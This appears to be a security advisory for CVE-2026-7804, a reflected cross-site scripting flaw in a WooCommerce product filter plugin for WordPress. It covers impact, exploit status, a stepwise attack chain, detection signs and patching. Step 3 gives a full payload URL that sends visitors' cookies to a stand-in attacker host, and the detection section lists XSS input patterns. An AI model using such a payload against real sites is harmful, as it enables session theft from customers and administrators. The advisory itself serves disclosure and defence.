CVE-2026-7804: 
WordPress Analisi e mitigazione delle vulnerabilità

CVE-2026-7804 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Product Filter for WooCommerce by WBW plugin for WordPress, affecting all versions up to and including 3.4.2. The flaw exists in the wpf_fid parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary JavaScript. It was published on September 9, 2026, with the CVE assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The wpf_fid parameter is not properly sanitized before being reflected in the page output via the plugin's recalculation logic, with the vulnerable code paths identified in classes/req.php (line 57), modules/woofilters/mod.php (line 3845), and modules/woofilters/views/woofilters.php (line 774). Exploitation requires no authentication but does require user interaction — a victim must click a crafted link — and the targeted page must have a WooCommerce product filter using the vulnerable recalculation output present (GitHub Advisory, Wordfence).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who clicks a malicious link, within the context of the affected WordPress site. This can result in session cookie theft, account hijacking, unauthorized actions performed on behalf of the victim, and modification of page content. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level due to the scoped nature of reflected XSS (GitHub Advisory, Wordfence).

As of the disclosure date (September 9, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Product Filter for WooCommerce by WBW plugin (version ≤ 3.4.2) that have a WooCommerce product filter with recalculation output enabled on at least one page.
2. Identify vulnerable parameter: Locate a page where the wpf_fid parameter is processed and reflected in the page output via the plugin's recalculation mechanism.
3. Craft malicious URL: Construct a URL targeting the vulnerable page with a reflected XSS payload injected into the wpf_fid parameter, e.g., https://target-site.com/shop/?wpf_fid=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a logged-in administrator or customer) via phishing email, social engineering, or malicious advertisement.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling cookie theft, session hijacking, or other client-side attacks (GitHub Advisory, Wordfence).

• Network: HTTP GET or POST requests to WooCommerce filter pages containing script tags, JavaScript event handlers, or encoded XSS payloads in the wpf_fid parameter (e.g., wpf_fid=<script>, wpf_fid=%3Cscript%3E).
• Logs: WordPress or web server access logs showing requests to shop/product pages with unusual or encoded values in the wpf_fid query parameter; repeated requests from the same IP with varying XSS payloads (fuzzing behavior).
• Network: Outbound connections from victim browsers to unknown external domains shortly after loading a WooCommerce filter page, potentially indicating successful cookie exfiltration.

Users should update the Product Filter for WooCommerce by WBW plugin to a version newer than 3.4.2, as a patch was made available on September 9, 2026 (changeset 3686394). As interim mitigations, administrators can implement Web Application Firewall (WAF) rules to detect and block XSS payloads in the wpf_fid parameter, and deploy Content Security Policy (CSP) headers to limit the impact of reflected XSS attacks. Restricting access to WooCommerce filter pages to authenticated users only, where business logic permits, can further reduce the attack surface (GitHub Advisory, Wordfence).